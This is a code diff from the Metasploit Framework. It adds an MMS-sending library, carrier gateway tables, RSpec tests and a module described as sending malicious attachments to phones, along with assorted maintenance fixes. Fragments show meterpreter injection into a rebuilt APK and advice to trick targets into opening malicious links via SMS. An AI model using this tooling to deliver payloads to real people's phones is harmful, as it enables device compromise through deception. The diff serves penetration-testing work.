fix_manifest(tempdir, package) fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")

View File

@ -8,6 +8,7 @@ require 'rex/proto/iax2'
require 'rex/proto/kerberos' require 'rex/proto/kerberos'
require 'rex/proto/rmi' require 'rex/proto/rmi'
require 'rex/proto/sms' require 'rex/proto/sms'
require 'rex/proto/mms'
module Rex module Rex
module Proto module Proto

4
lib/rex/proto/mms.rb Normal file
View File

@ -0,0 +1,4 @@
# -*- coding: binary -*-
require 'rex/proto/mms/exception'
require 'rex/proto/mms/model'

View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
class Client
# @!attribute carrier
# @return [Symbol] The service provider for the phone numbers.
attr_accessor :carrier
# @!attribute smtp_server
# @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings.
attr_accessor :smtp_server
# Initializes the Client object.
#
# @param [Hash] opts
# @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS)
# @option opts [Rex::Proto::mms::Model::Smtp] SMTP object
#
# @return [Rex::Proto::Mms::Client]
def initialize(opts={})
self.carrier = opts[:carrier]
self.smtp_server = opts[:smtp_server]
validate_carrier!
end
# Sends a media text to multiple recipients.
#
# @param phone_numbers [<String>Array] An array of phone numbers.
# @param subject [String] MMS subject
# @param message [String] The message to send.
# @param attachment_path [String] (Optional) The attachment to include
# @param ctype [String] (Optional) The content type to use for the attachment
#
# @return [void]
def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier]
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
address = self.smtp_server.address
port = self.smtp_server.port
username = self.smtp_server.username
password = self.smtp_server.password
helo_domain = self.smtp_server.helo_domain
login_type = self.smtp_server.login_type
from = self.smtp_server.from
smtp = Net::SMTP.new(address, port)
begin
smtp.enable_starttls_auto
smtp.start(helo_domain, username, password, login_type) do
recipients.each do |r|
mms_message = Rex::Proto::Mms::Model::Message.new(
message: message,
content_type: ctype,
attachment_path: attachment_path,
from: from,
to: r,
subject: subject
)
smtp.send_message(mms_message.to_s, from, r)
end
end
rescue Net::SMTPAuthenticationError => e
raise Rex::Proto::Mms::Exception, e.message
ensure
smtp.finish if smtp && smtp.started?
end
end
# Validates the carrier parameter.
#
# @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used.
def validate_carrier!
unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier)
raise Rex::Proto::Mms::Exception, 'Invalid carrier.'
end
end
end
end
end
end

View File

@ -0,0 +1,10 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
class Exception < ::RuntimeError
end
end
end
end

View File

@ -0,0 +1,24 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
GATEWAYS = {
att:'mms.att.net', # AT&T Wireless
sprint: 'pm.sprint.com', # Sprint
tmobile: 'tmomail.net', # T-Mobile
verizon: 'vzwpix.com', # Verizon
google: 'msg.fi.google.com' # Google
}
end
end
end
end
require 'net/smtp'
require 'rex/proto/mms/model/smtp'
require 'rex/proto/mms/model/message'
require 'rex/proto/mms/client'

View File

@ -0,0 +1,108 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
class Message
# @!attribute message
# @return [String] The text message
attr_accessor :message
# @!attribute content_type
# @return [Fixnum] The content type of the attachment
attr_accessor :content_type
# @!attribute attachment
# @return [String] The loaded attachment converted to Base64
attr_accessor :attachment
# @!attribute from
# @return [String] The from field in the email
attr_accessor :from
# @!attribute to
# @return [String] The to field in the email
attr_accessor :to
# @!attribute subject
# @return [String] The subject of the email
attr_accessor :subject
# @!attribute attachment_name
# @return [String] The attachment base name extracted from :attachment
attr_accessor :attachment_name
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :from
# @option opts [String] :to
# @option opts [String] :message
# @option opts [String] :content_type
# @option opts [String] :attachment_path
#
# @return [Rex::Proto::Mms::Model::Message]
def initialize(opts={})
self.from = opts[:from]
self.to = opts[:to]
self.message = opts[:message]
self.subject = opts[:subject]
self.content_type = opts[:content_type]
if opts[:attachment_path]
self.attachment = load_file_to_base64(opts[:attachment_path])
self.attachment_name = File.basename(opts[:attachment_path])
end
end
# Returns the raw MMS message
#
# @return [String]
def to_s
generate_mms_message
end
private
# Returns the loaded file in Base64 format
#
# @return [String] Base64 data
def load_file_to_base64(path)
buf = File.read(path)
(Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip
end
# Returns the raw MMS message
#
# @return [String]
def generate_mms_message
text = Rex::MIME::Message.new
text.add_part(self.message, 'text/plain; charset=UTF-8', nil)
body = Rex::MIME::Message.new
body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil)
if self.attachment
body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"")
end
mms = "MIME-Version: 1.0\n"
mms << "From: #{self.from}\n"
mms << "To: #{self.to}\n"
mms << "Subject: #{self.subject}\n"
mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n"
mms << "\n"
mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_")
mms
end
end
end
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
class Smtp
# @!attribute address
# @return [String] SMTP address
attr_accessor :address
# @!attribute port
# @return [Fixnum] SMTP port
attr_accessor :port
# @!attribute username
# @return [String] SMTP account/username
attr_accessor :username
# @!attribute password
# @return [String] SMTP password
attr_accessor :password
# @!attribute login_type
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
attr_accessor :login_type
# @!attribute from
# @return [String] Sender
attr_accessor :from
# @!attribute helo_domain
# @return [String] The domain to use for the HELO SMTP message
attr_accessor :helo_domain
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :address
# @option opts [Fixnum] :port
# @option opts [String] :username
# @option opts [String] :password
# @option opts [String] :helo_domain
# @option opts [Symbol] :login_type
# @option opts [String] :from
#
# @return [Rex::Proto::Mms::Model::Smtp]
def initialize(opts={})
self.address = opts[:address]
self.port = opts[:port] || 25
self.username = opts[:username]
self.password = opts[:password]
self.helo_domain = opts[:helo_domain] || 'localhost'
self.login_type = opts[:login_type] || :login
self.from = opts[:from] || ''
end
end
end
end
end
end

View File

@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model' spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter # Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17' spec.add_runtime_dependency 'metasploit-payloads', '1.2.18'
# Needed for the next-generation POSIX Meterpreter # Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7' spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components

View File

@ -0,0 +1,35 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Mms
def initialize(info = {})
super(update_info(info,
'Name' => 'MMS Client',
'Description' => %q{
This module sends an MMS message to multiple phones of the same carrier.
You can use it to send a malicious attachment to phones.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
))
end
def run
phone_numbers = datastore['CELLNUMBERS'].split
print_status("Sending mms message to #{phone_numbers.length} number(s)...")
begin
res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE'])
print_status("Done.")
rescue Rex::Proto::Mms::Exception => e
print_error(e.message)
end
end
end

View File

@ -16,8 +16,8 @@ class MetasploitModule < Msf::Auxiliary
This module sends a text message to multiple phones of the same carrier. This module sends a text message to multiple phones of the same carrier.
You can use it to send a malicious link to phones. You can use it to send a malicious link to phones.
Please note that you do not use this module to send a media file (attachment), Please note that you do not use this module to send a media file (attachment).
because that is MMS. In order to send a media file, please use auxiliary/client/mms/send_mms instead.
}, },
'Author' => [ 'sinn3r' ], 'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE 'License' => MSF_LICENSE

View File

@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary
def storedb(hashreq,response,dbpath) def storedb(hashreq,response,dbpath)
# Added host/port/ssl for report_web_page support
info = { info = {
:web_site => @current_site, :web_site => @current_site,
:path => hashreq['uri'], :path => hashreq['uri'],
:query => hashreq['query'], :query => hashreq['query'],
:data => hashreq['data'], :host => hashreq['rhost'],
:code => response['code'], :port => hashreq['rport'],
:body => response['body'], :ssl => !hashreq['ssl'].nil?,
:headers => response['headers'] :data => hashreq['data'],
:code => response.code,
:body => response.body,
:headers => response.headers
} }
#if response['content-type'] #if response['content-type']

View File

@ -39,11 +39,15 @@ class MetasploitModule < Msf::Auxiliary
print_status("#{ip}:#{rport} TELNET #{banner_santized}") print_status("#{ip}:#{rport} TELNET #{banner_santized}")
report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized) report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized)
end end
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
rescue Timeout::Error print_error("A network issue has occurred: #{e.message}")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
rescue Timeout::Error => e
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.") print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
rescue ::Exception => e rescue ::Exception => e
print_error("#{e} #{e.backtrace}") print_error("#{e} #{e.backtrace}")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
end end
end end
end end

View File

@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary
This module allows you to open an android meterpreter via a browser. An Android This module allows you to open an android meterpreter via a browser. An Android
meterpreter must be installed as an application beforehand on the target device meterpreter must be installed as an application beforehand on the target device
in order to use this. in order to use this.
For best results, you can consider using the auxiliary/client/sms/send_text to
trick your target into opening the malicious link, and wake up Meterpreter.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ], 'Author' => [ 'sinn3r' ],

View File

@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => datastore['HTTP_METHOD'], 'method' => datastore['HTTP_METHOD'],
}, 25) }, 25)
if res && !res.get_cookies.empty? if res && !res.get_cookies.empty?
match = res.get_cookies.match(/([-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end end
if match if match

View File

@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin
when '-s' when '-s'
u = args.shift u = args.shift
l = args.shift l = args.shift
s = args.shift o = args.shift
if not u return unless u
return
end
if l == nil or l.empty? if l == nil or l.empty?
l = 200 l = 200
s = true o = 'true'
else else
l = l.to_i # Add check if unicode parameters is the second one
s = false if l == 'true' or l == 'false'
o = l
l = 200
else
l = l.to_i
end
end end
o = (o == 'true')
if u.include? 'http' if u.include? 'http'
# Parameters are in url form # Parameters are in url form
view_site_tree(u,l,s) view_site_tree(u,l,o)
else else
# Parameters are digits # Parameters are digits
if !self.lastsites or self.lastsites.length == 0 if !self.lastsites or self.lastsites.length == 0
@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin
# Skip the DB entirely if no matches # Skip the DB entirely if no matches
return if target_whitelist.length == 0 return if target_whitelist.length == 0
if not self.targets unless self.targets
self.targets = Hash.new() self.targets = Hash.new()
end end
target_whitelist.each do |ent| target_whitelist.each do |ent|
view_site_tree(ent,l,s) view_site_tree(ent,l,o)
end end
end end
return return
@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin
print_line("\t-a [url] Add site (vhost,url)") print_line("\t-a [url] Add site (vhost,url)")
print_line("\t-d [ids] Delete sites (separate ids with space)") print_line("\t-d [ids] Delete sites (separate ids with space)")
print_line("\t-l List all available sites") print_line("\t-l List all available sites")
print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)")
print_line("") print_line("")
return return
else else
@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin
# Skip the DB entirely if no matches # Skip the DB entirely if no matches
return if site_whitelist.length == 0 return if site_whitelist.length == 0
vsites = Hash.new()
site_whitelist.each do |ent| site_whitelist.each do |ent|
vhost,target = ent vhost,target = ent
host = self.framework.db.workspace.hosts.find_by_address(target.host) host = self.framework.db.workspace.hosts.find_by_address(target.host)
if not host unless host
print_error("No matching host for #{target.host}") print_error("No matching host for #{target.host}")
next next
end end
serv = host.services.find_by_port_and_proto(target.port, 'tcp') serv = host.services.find_by_port_and_proto(target.port, 'tcp')
if not serv unless serv
print_error("No matching service for #{target.host}:#{target.port}") print_error("No matching service for #{target.host}:#{target.port}")
next next
end end
@ -1552,69 +1554,106 @@ class Plugin::Wmap < Msf::Plugin
end end
end end
# Private function to avoid duplicate code
def load_tree_core(req, wtree)
pathchr = '/'
tarray = req.path.to_s.split(pathchr)
tarray.delete("")
tpath = Pathname.new(pathchr)
tarray.each do |df|
wtree.add_at_path(tpath.to_s,df)
tpath = tpath + Pathname.new(df.to_s)
end
end
# #
# Load website structure into a tree # Load website structure into a tree
# #
def load_tree(s) def load_tree(s)
pathchr = '/'
wtree = Tree.new(s.vhost) wtree = Tree.new(s.vhost)
# Load site pages # Load site pages
s.web_pages.order('path asc').each do |req| s.web_pages.order('path asc').each do |req|
tarray = req.path.to_s.split(pathchr) if req.code != 404
tarray.delete("") load_tree_core(req, wtree)
tpath = Pathname.new(pathchr)
tarray.each do |df|
wtree.add_at_path(tpath.to_s,df)
tpath = tpath + Pathname.new(df.to_s)
end end
end end
# Load site forms # Load site forms
s.web_forms.each do |req| s.web_forms.each do |req|
tarray = req.path.to_s.split(pathchr) load_tree_core(req, wtree)
tarray.delete("")
tpath = Pathname.new(pathchr)
tarray.each do |df|
wtree.add_at_path(tpath.to_s,df)
tpath = tpath + Pathname.new(df.to_s)
end
end end
return wtree wtree
end
def print_file(filename)
ext = File.extname(filename)
if %w(.txt .md).include? ext
print '%bld%red'
elsif %w(.css .js).include? ext
print '%grn'
end
print_line("#{ filename }%clr")
end end
# #
# Print Tree structure. Still ugly # Recursive function for printing the tree structure
# #
def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode)
if tree != nil and tree.depth <= max_level
print (' ' * indent)
def print_tree(tree, ip, maxlevel, limitlevel) # Prefix serve to print the superior hierarchy
initab = " " * 4 prefix.each { |bool|
indent = 6 if unicode
if tree != nil and tree.depth <= maxlevel print (bool ? ' ' : '│') + (' ' * 3)
print initab + (" " * indent * tree.depth)
if tree.depth > 0
print "|"+("-" * (indent-1))+"/"
end
if tree.depth >= 0
if tree.depth == 0
print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n"
else else
c = tree.children.count print (bool ? ' ' : '|') + (' ' * 3)
if c > 0
print tree.name + " (" + c.to_s+")\n"
else
print tree.name + "\n"
end
end end
}
if unicode
# The last children is special
print (is_last ? '└' : '├') + ('─' * 2) + ' '
else
print (is_last ? '`' : '|') + ('-' * 2) + ' '
end end
tree.children.each_pair do |name,child| c = tree.children.count
print_tree(child,ip,maxlevel,limitlevel)
if c > 0
print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })"
else
print_file tree.name
end
i = 1
new_prefix = prefix + [is_last]
tree.children.each_pair { |_,child|
is_last = !(i < c)
print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode)
i += 1
}
end
end
#
# Print Tree structure. Less ugly
# Modified by Jon P.
#
def print_tree(tree, ip, max_level, unicode)
indent = 4
if tree != nil and tree.depth <= max_level
if tree.depth == 0
print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr"
end
i = 1
c = tree.children.count
tree.children.each_pair do |_,child|
print_tree_recursive(child, max_level, indent, [], !(i < c), unicode)
i += 1
end end
end end

View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Client do
let(:phone_numbers) { ['1112223333'] }
let(:message) { 'message' }
let(:attachment) { 'file.jpg' }
let(:file_content) { 'content' }
let(:subject) { 'subject' }
let(:ctype) { 'ctype' }
let(:carrier) { :verizon }
let(:smtp_server) {
Rex::Proto::Mms::Model::Smtp.new(
address: 'example.com',
port: 25,
username: 'username',
password: 'password'
)
}
subject do
Rex::Proto::Mms::Client.new(
carrier: carrier,
smtp_server: smtp_server
)
end
describe '#initialize' do
it 'sets carrier' do
expect(subject.carrier).to eq(carrier)
end
it 'sets smtp server' do
expect(subject.smtp_server).to eq(smtp_server)
end
end
describe '#send_mms_to_phones' do
before(:each) do
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
allow(smtp).to receive(:start).and_yield
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
allow(Net::SMTP).to receive(:new).and_return(smtp)
allow(File).to receive(:read).and_return(file_content)
end
it 'sends an mms message' do
subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype)
expect(@sent_message).to include('MIME-Version: 1.0')
end
end
end

View File

@ -0,0 +1,62 @@
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Model::Message do
let(:message) { 'message' }
let(:content_type) { 'ctype' }
let(:attachment) { 'filepath.jpg' }
let(:filecontent) { 'file content' }
let(:from) { 'sender@example.com' }
let(:to) { 'receiver@example.com' }
let(:mms_subject) { 'subject' }
before(:each) do
allow(File).to receive(:read).and_return(filecontent)
end
subject do
described_class.new(
from: from,
to: to,
subject: mms_subject,
message: message,
content_type: content_type,
attachment_path: attachment
)
end
describe '#initialize' do
it 'sets message' do
expect(subject.message).to eq(message)
end
it 'sets content type' do
expect(subject.content_type).to eq(content_type)
end
it 'sets attachment path' do
expect(subject.attachment).to eq('ZmlsZSBjb250ZW50')
end
it 'sets from' do
expect(subject.from).to eq(from)
end
it 'sets to' do
expect(subject.to).to eq(to)
end
it 'sets subject' do
expect(subject.subject).to eq(mms_subject)
end
end
describe '#to_s' do
it 'returns the mms message' do
expect(subject.to_s).to include('MIME-Version: 1.0')
end
end
end

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Model::Smtp do
let(:address) { 'example.com' }
let(:port) { 25 }
let(:username) { 'username' }
let(:password) { 'password' }
let(:login_type) { :login }
let(:from) { 'from' }
let(:helo_domain) { 'example.com'}
subject do
Rex::Proto::Mms::Model::Smtp.new(
address: address,
port: port,
username: username,
password: password,
login_type: login_type,
from: from,
helo_domain: helo_domain
)
end
describe '#initialize' do
it 'sets address' do
expect(subject.address).to eq(address)
end
it 'sets port' do
expect(subject.port).to eq(port)
end
it 'sets username' do
expect(subject.username).to eq(username)
end
it 'sets password' do
expect(subject.password).to eq(password)
end
it 'sets login_type' do
expect(subject.login_type).to eq(login_type)
end
it 'sets from' do
expect(subject.from).to eq(from)
end
it 'sets helo domain' do
expect(subject.helo_domain).to eq(helo_domain)
end
end
end